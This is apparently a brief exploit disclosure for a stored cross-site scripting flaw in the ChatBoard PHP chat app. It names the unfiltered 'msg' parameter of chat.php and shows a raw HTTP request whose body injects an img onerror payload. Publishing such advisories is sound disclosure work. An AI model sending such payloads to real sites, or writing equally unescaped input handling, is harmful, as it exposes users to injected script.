Ultrabenosaurus ChatBoard Cross Site Scripting

`# Exploit Title: Ultrabenosaurus ChatBoard - Stored XSS  
# Date: 2016-06-14  
# Exploit Author: HaHwul  
# Exploit Author Blog: www.hahwul.com  
# Vendor Homepage: http://ultrabenosaurus.ninja/  
# Software Link: https://github.com/Ultrabenosaurus/ChatBoard/archive/master.zip  
# Tested on: Debian [wheezy]  
# CVE : none  
  
### Vulnerability Point  
chat.php is not filtering special character  
-> file: ./chat.php  
-> param: msg  
  
### Vulnerability Code  
POST /vul_test/ChatBoard/__original/chat.php HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Referer: http://127.0.0.1/vul_test/ChatBoard/__original/?chat  
Content-Length: 10  
Cookie: PHPSESSID=3oecem8o5c8975dcufbb0moqn5  
Connection: keep-alive  
  
msg=654<img src="z" onerror=zz>asd  
`